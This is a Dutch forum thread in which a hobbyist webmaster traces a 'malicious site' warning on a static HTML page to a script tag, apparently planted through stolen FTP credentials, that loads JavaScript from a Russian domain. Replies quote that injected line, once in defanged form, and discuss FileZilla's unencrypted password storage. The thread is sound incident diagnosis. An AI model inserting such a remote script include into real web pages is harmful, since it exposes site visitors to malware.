SQL injectie zonder user input?

[Verwijderd]

Ik heb weinig kennis van SQL dus ik hoop dat dit niet een al te stomme vraag is.

Ik onderhoud een simpele html website met wat javascript voor een kennis. Nu heeft die kennis melding gekregen dat een filter bij een ander bedrijf de website blokkeert en de melding geeft dat de website geïnfecteerd is met een SQL injectie. Als ik goed begrijp wat een SQL injectie inhoudt moet er een mogelijkheid zijn code in te voeren, bijvoorbeeld dmv een zoekveld. Dat is echter nergens op de website te vinden. Sterker nog, de hele website maakt geen gebruik van SQL databases oid.

Is het dan gewoon een valse melding of kan er toch sprake zijn een SQL injectie? Bijvoorbeeld een database bij dezelfde host maar van een andere klant ofzo?

[Verwijderd]

SQL Injectie kan op vele manieren gebeuren waaronder userinput, echter als er helemaal geen database achter de website hangt wordt het een moeilijk verhaal om een sql injectie te doen natuurlijk.

[Knopsje]

Ten eerste, een website kan niet geïnfecteerd zijn met een SQL injectie. Een SQL injectie is zoals je zelf al aangeeft een manier om (kwaadwillende)code uit te voeren op een website, waardoor er bijvoorbeeld gegevens uit de database gehaald kan worden.

Hiervoor moet er natuurlijk wel een database aanwezig zijn. Als je dus zeker weet dat er op jouw website geen database draait, dan zou er geen probleem mogen zijn... Daarnaast is het erg raar dat een filter een SQL injectie kan 'opmerken', hiervoor is toch een user input nodig!

[Verwijderd]

Knopsje schreef op maandag 16 augustus 2010 @ 18:00:
Ten eerste, een website kan niet geïnfecteerd zijn met een SQL injectie. Een SQL injectie is zoals je zelf al aangeeft een manier om (kwaadwillende)code uit te voeren op een website, waardoor er bijvoorbeeld gegevens uit de database gehaald kan worden.

Hiervoor moet er natuurlijk wel een database aanwezig zijn. Als je dus zeker weet dat er op jouw website geen database draait, dan zou er geen probleem mogen zijn... Daarnaast is het erg raar dat een filter een SQL injectie kan 'opmerken', hiervoor is toch een user input nodig!

Een filter kan misshien javascript oid herkennen wat met behulp van een sqlinjectie hack geplaatst is.

[boe2]

Verwijderd schreef op maandag 16 augustus 2010 @ 17:52:
Ik onderhoud een simpele html website met wat javascript voor een kennis.

Op een simpele html site kan er geen sprake zijn van SQL injectie. Daarvoor heb je op zijn minst een databankverbinding nodig in de backend achterstuk (om voutloos te plezieren ) .

Dat is echter nergens op de website te vinden. Sterker nog, de hele website maakt geen gebruik van SQL databases oid.

Is het dan gewoon een valse melding of kan er toch sprake zijn een SQL injectie?

Dat heb je inderdaad correct

[ Voor 31% gewijzigd door boe2 op 16-08-2010 19:51 ]

[Voutloos]

Databankverbinding? Zulke termen trekt mijn Centrale VerwerkingsEenheid niet.

Maar goed, zou je (delen van) de melding hier kunnen plaatsen? En weet je zeker dat je geen database gebruikt? Er draait niet stiekem een wiki/forum/cms dingetje?

[Verwijderd]

Voutloos schreef op maandag 16 augustus 2010 @ 19:26:
Databankverbinding? Zulke termen trekt mijn Centrale VerwerkingsEenheid niet.

Maar goed, zou je (delen van) de melding hier kunnen plaatsen? En weet je zeker dat je geen database gebruikt? Er draait niet stiekem een wiki/forum/cms dingetje?

De melding:

Op de site http://**********.nl is een kwetsbaarheid gedetecteerd:

Deze website wordt door onze URL content filtering tool Websense als "Malicious Web Site" gecategoriseerd. Op deze site is code ontdekt waarmee zonder toestemming opzettelijk systemen van eindgebruikers kunnen worden gewijzigd en zodoende schade aan deze systemen kan worden veroorzaakt, zonder dat de gebruiker hier iets van merkt.

Deze site is geïnjecteerd met kwaadaardige code (SQL-injectie) welke gebruikers doorverwijst naar een andere (kwaadaardige) pagina, zonder toestemming van de gebruiker. Deze zogenaamde "redirection" wordt voor illegale doeleinden misbruikt en komt vaak voor wanneer een website het slachtoffer van een SQL-injectie aanval is geweest, in dit geval dus ************.nl/

Aan de hand van bovengoemd gegeven kunnen we geen risico nemen om de site open te zetten.

Voor meer informatie over security, de policies en Risk and Reputation Leadership, zie ook:

http://insitex/C18/Security/Pages/default.aspx?sdupgwelredir=1
http://werkomgeving/sites/ICT%20Services/Documentatie%20GSC%20Portal/PM40Security.pdf
http://insitex/C17/ProtocolElektronischeCommunica/Pages/default.aspx?sdupgwelredir=1

De Deloitte Policies worden vanuit Global niveau uitgedragen en vervolgens toegepast op het beleid van de Nederlandse firm. ICT Services is slechts de uitvoerende partij in deze. Indien u zich niet kunt vinden in dit beleid, kunt u zich wenden tot de heer Alfons Koenders, Security manager, Deloitte Reputation & Risk Leadership Office.

En nee, geen forum/wiki/oid

[MoBi]

Dit kan ook gebeuren als ze via spyware of trojans achter zijn ftp gegevens zijn gekomen. Daarmee kunnen ze dan besmette html pagina's uploaden.

[djluc]

MoBi schreef op maandag 16 augustus 2010 @ 20:32:
Dit kan ook gebeuren als ze via spyware of trojans achter zijn ftp gegevens zijn gekomen. Daarmee kunnen ze dan besmette html pagina's uploaden.

Inderdaad, er zijn virussen in omloop die in FTP opgeslagen FTP logins gebruiken voor dit soort doeleinden. Zodra ze 1 script geplaatst hebben ben je natuurlijk ineens wel vatbaar voor al dit soort onzin. Een database o.i.d. is niet nodig, als ze maar een file weg kunnen schrijven.

[FragFrog]

MoBi schreef op maandag 16 augustus 2010 @ 20:32:
Dit kan ook gebeuren als ze via spyware of trojans achter zijn ftp gegevens zijn gekomen. Daarmee kunnen ze dan besmette html pagina's uploaden.

Of het is gewoon een false positive en de TS heeft zelf met z'n javascript omleidingen zitten bakken.

Slimme scripts zijn niet altijd slim

FragK: loop je code eens bij langs - zitten er javascript redirects in? Maak je gebruik van popups? Doe je vage dingen met je window?

[BCC]

Zonder de site zelf kunnen we je niet zoveel verder helpen. Waarom post je de URL niet?

[ Voor 8% gewijzigd door BCC op 16-08-2010 21:20 ]

[Scyth]

BCC schreef op maandag 16 augustus 2010 @ 21:09:
Zonder de site zelf kunnen we je niet zoveel verder helpen. Waarom post je de URL niet?

Jij durft!

Ik kán het er echt niet bij gebruiken dat m'n computer straks geïnfecteerd is... Kijk wel uit.

[naam]

Scyth schreef op dinsdag 17 augustus 2010 @ 09:30:
[...]

Jij durft!

Ik kán het er echt niet bij gebruiken dat m'n computer straks geïnfecteerd is... Kijk wel uit.

Dan heeft windows zelf zometeen een SQL injectie

[BCC]

Knappe jongen die mijn curl infecteert met een SQL injectie

[Gomez12]

Even ter verduidelijking omdat ik hier redelijk wat info mis van andere posters...

Verwijderd schreef op maandag 16 augustus 2010 @ 17:52:
Als ik goed begrijp wat een SQL injectie inhoudt moet er een mogelijkheid zijn code in te voeren, bijvoorbeeld dmv een zoekveld. Dat is echter nergens op de website te vinden.

Ook geen get / post parameters oid. Dat is namelijk hetzelfde als een zoekveld. Ergens iets als ?paginaid=1 is al een invoer voor code mits niet goed afgeschermd.

Sterker nog, de hele website maakt geen gebruik van SQL databases oid.

Maar zit het ook helemaal niet in het hosting-pakket, of is er wel een kans dat er een custom made admin panel ergens zit wat bijv mogelijkheden aanbied om htaccess functies van mysql te regelen.
Dat jouw website coding het niet gebruikt betekent niet dat de hoster het niet aanbied...

Is het dan gewoon een valse melding of kan er toch sprake zijn een SQL injectie? Bijvoorbeeld een database bij dezelfde host maar van een andere klant ofzo?

Simpel gezegd zou ik eens naar het hosting plan vragen om te achterhalen of er niet ergens een mysql dbase wel toegankelijk is ( enkel niet gebruikt door jouw implementatie ) die wellicht voor een hosting-panel oid te gebruiken is.

Gebruik je nergens server-side scripting (php/asp/.net/python/cgi/ruby/etc etc ) en heb je daar ook geen mogelijkheden toe vanuit je hosting pakket dan is de kans vrij groot op een false positive of een configfout bij je hoster.
Gebruik je geen server-side scripting maar heb je er wel de mogelijkheid toe dan is er nog de mogelijkheid dat het een te makkelijk ftp-wachtwoord was waarop verder voortgeborduurd is.
Gebruik je server side scripting dan heb je weer de mogelijkheid dat je ergens user-input niet goed afhandelt ( let op dat get / post parameters maar ook bijv xmlhttp parameters gewoon allemaal user-input zijn )

[ajakkes]

De "security manager" heeft natuurlijk niet waargenomen dat er een sql injectie heeft plaatsgevonden, (tenzij hij hem zelf heeft uitgevoerd).

Hij ervaart slechts dat bij het bezoeken van 1 of meerdere pagina's er kwaadwillende code uitgevoerd wil worden. Hierbij neemt hij aan dat dit komt doordat er een injectie heeft plaatsgevonden, dit is in de meeste gevallen de oorzaak.

Maar het echte probleem zit hem in de pagina die aangeboden wordt. Deze is volgens de "security manager" besmet met kwaadwillende code.

Dit kan veroorzaakt zijn doordat:
iemand anders via de site invoer (get, post e.d.) een script heeft geplaatst in een van de pagina's
iemand anders via bijv. de ftp een script heeft geplaatst in een van de pagina's
je zelf een script gebruikt dat volgens wordt gezien als een risico

Misschien zijn er nog andere mogelijkheden maar volgens mij moet je gaan kijken naar de scripts op je pagina's die kunnen worden aangeboden aan bezoekers. Je kan navragen of er een pagina is waarop zij de code zijn tegengekomen, maar als je de code gevonden hebt zou ik wel alle pagina's nalopen of de code nog ergens anders zit. En kijken via welke weg de code is geplaatst.

[MuddyMagical]

Misschien een false positive op Websense by Deloitte? Is natuurlijk ook een mogelijkheid.

Maar inderdaad even goed uitzoeken voordat je naar hun gaat.

[ajakkes]

Ja, false positive is ook een mogelijkheid.
En misschien nog de mogelijkheid dat ip/domein een andere site host die problemen levert.

Maar eerst zelf maar op eigen site op onderzoek uit.

[silentsnake]

FragFrog schreef op maandag 16 augustus 2010 @ 21:03:
[...]

Of het is gewoon een false positive en de TS heeft zelf met z'n javascript omleidingen zitten bakken.

Slimme scripts zijn niet altijd slim

Met hem. Wij draaien hier ook Websense (en de TS ook zoals hij aangeeft) en het barst van de false positives, dus jouw website zou er ook zomaar tussen kunnen zitten.

[ Voor 3% gewijzigd door silentsnake op 18-08-2010 12:50 ]

[Rutix]

silentsnake schreef op woensdag 18 augustus 2010 @ 12:50:
[...]


Met hem. Wij draaien hier ook Websense (en de TS ook zoals hij aangeeft) en het barst van de false positives, dus jouw website zou er ook zomaar tussen kunnen zitten.

Ja maar het hoeft geen false positive te zien natuurlijk. Daarom zoals al aangegeven gewoon even de pagina's checken op scripts en kijken of er niet toevallig toch iets runt op het hostpakket.

[Verwijderd]

Bedankt voor de vele hulpzame reacties. De site maakt gebruik van een stukje javascript van Dynamic Drive dat zorgt voor een slideshow.

De url is http://www.dorpshoeve.nl (pas op!). Ik weet dat er een boel aan schort (leesbaarheid, table layout etc) maar de eigenaar wou het zo houden. Het gaat me dan ook even alleen om de SQL injectie melding

Ik had de url nog niet gepost omdat ik dacht dat er misschien ook kwaadwillenden mee kunnen lezen hier (paranoia?) en omdat simpelweg de url neerplempen misschien wat laks over zou komen

[ Voor 3% gewijzigd door RobIII op 18-08-2010 18:25 . Reden: Linkje voor de zekerheid even onklikbaar gemaakt en waarschuwing geplaatst. ]

[RobIII]

Verwijderd schreef op woensdag 18 augustus 2010 @ 18:11:
Ik had de url nog niet gepost omdat ik dacht dat er misschien ook kwaadwillenden mee kunnen lezen hier (paranoia?)

Dat weet je natuurlijk nooit

Maarre, wat doet:

code:

<script type="text/javascript" src="http://obscure wax.ru / Yahoo.js"></script>

onderaan je pagina? De js laadt (momenteel) niet, maar ik vermoed dat daar die melding vandaan komt Google even wat en trek je conclusies. Je gebruikt filezilla vermoed ik?

offtopic:
Wat ik niet snap is dat ze 't bij filezilla blijven vertikken de wachtwoorden secure op te slaan met een master-key ofzo; ondanks dat ze een punt hebben dat 't (deels) de taak van het OS is.

[ Voor 58% gewijzigd door RobIII op 18-08-2010 18:31 ]

[Wolfboy]

Ik vind de javascript verwijzing aan de onderkant van de pagina nogal vreemd. Dat lijkt me in ieder geval rommel.

HTML:

<script type="text/javascript" src="http://obscurewax<PUNT>ru<SLASH>Yahoo.js"></script>

[ Voor 3% gewijzigd door Wolfboy op 18-08-2010 18:34 ]

[BCC]

RobIII schreef op woensdag 18 augustus 2010 @ 18:22:

offtopic:
Wat ik niet snap is dat ze 't bij filezilla blijven vertikken de wachtwoorden secure op te slaan met een master-key ofzo; ondanks dat ze een punt hebben dat 't (deels) de taak van het OS is.

Omdat dat een key geen extra veiligheid toevoegt. De enige manier om het goed te doen is de keychain van het OS gebruiken. En aangezien elk modern OS wel een keychain heeft, moet dat niet eens zo moeilijk zijn. Waarom ze vertikken dat te implementeren weet ik ook niet, maar aangezien het opensource is: doe je best.

[RobIII]

BCC schreef op woensdag 18 augustus 2010 @ 19:11:
Omdat dat een key geen extra veiligheid toevoegt.

Natuurlijk wel; een virus dat simpelweg naar de filezilla config zoekt (en die zijn er inmiddels, ook gezien de vele meldingen en gehackte sites dankzij filezilla, genoeg in omloop) kan er dan geen f*ck meer mee. Dat een sniffer je master-key zou kunnen sniffen is andere koek, maar als je filezilla niet dagelijks gebruikt heb je wél langer de tijd op te merken dat je infected bent voor het te laat is. En dan zijn niet meteen al je sites infected. Een master-key per groep zou het nog moeilijker maken (ook voor sniffers) om meteen heel je klantenbestand te naaien. Dat een master-key(s) het niet waterdicht maakt beweert niemand; het werpt gewoon een extra drempel op. En als Filezilla dan zélf nog eens de moeite nam om even een warning te geven ofzo dat je passwords niet encrypted opgeslagen worden (want dat doen ze niet) zijn er hordes lui die er gewoon van uit gaan 'dat het wel veilig zal zijn'; tot het te laat is. En zonder waarschuwing zullen 9 v.d. 10 gebruikers ook niets ondernemen om de config veilig(er) op te slaan.

Desalniettemin zijn er voor beide de voors- en tegens- voldoende argumenten; ik vind ze bij filezilla gewoon wat hardnekkig terwijl er veel vraag naar is in ieder geval iets te ondernemen.

Overigens gebruik ik zelf zelden tot nooit FTP

[ Voor 42% gewijzigd door RobIII op 18-08-2010 20:11 ]

[Verwijderd]

Ja die laatste regel zal het inderdaad zijn, wat stom dat ik dat niet zag

Ik heb kort geleden last gehad van een flinke virus infectie op m'n laptop, zouden ze op die manier aan m'n FTP gegevens zijn gekomen? Maw, is m'n laptop voortaan virus vrij houden en m'n ftp login wijzigen voldoende of moet ik extra beveiligingsmaatregelen treffen?

[RobIII]

Verwijderd schreef op woensdag 18 augustus 2010 @ 22:29:
Ik heb kort geleden last gehad van een flinke virus infectie op m'n laptop, zouden ze op die manier aan m'n FTP gegevens zijn gekomen?

Als je nou eens leest en verder kijkt dan je neus lang is...wat denk je zelf?

Verwijderd schreef op woensdag 18 augustus 2010 @ 22:29:
Maw, is m'n laptop voortaan virus vrij houden en m'n ftp login wijzigen voldoende

Voor nu wel.

Verwijderd schreef op woensdag 18 augustus 2010 @ 22:29:
of moet ik extra beveiligingsmaatregelen treffen?

Sla bij voorkeur je wachtwoorden niet op (of een sla ze op in een veilige locatie zoals in dit topic maar ook in de link in mijn reply te lezen is). En een shitload boerenverstand natuurlijk

[ Voor 6% gewijzigd door RobIII op 18-08-2010 22:41 ]

[Verwijderd]

RobIII schreef op woensdag 18 augustus 2010 @ 22:40:
[...]

Als je nou eens leest en verder kijkt dan je neus lang is...wat denk je zelf?

Ik had het er misschien even bij moeten zeggen maar ik heb dat allemaal doorgelezen, bedankt daarvoor. Nee ik gebruik geen FileZilla of ander FTP programma. Ook sla ik nooit m'n wachtwoorden op. Ik dacht het te snappen en vroeg om bevestiging omdat ik wel vaker onterecht denk het te snappen

[ajakkes]

Het grootste nadeel van filezilla vind ik dat het zelfs als je geen wachtwoorden opslaat. Het de wachtwoorden opslaat van de laatst bezochte sites.

Overigens is het om diezelfde reden een slecht idee om Internet explorer te gebruiken als ftp programma of een ftp map te koppelen aan een driveletter. Deze worden ook gewoon opgeslagen in de internet explorer wachtwoord "map" (zonder encryptie).

Maar de discussie daarover hoort niet hier thuis.

On topic:
Hoe zet je dan wel de pagina's op de server? En anderen die het wachtwoord van de site hebben? Hier moet ergens wel een lek zitten. Kan dit probleem misschien de volgende keer voorkomen.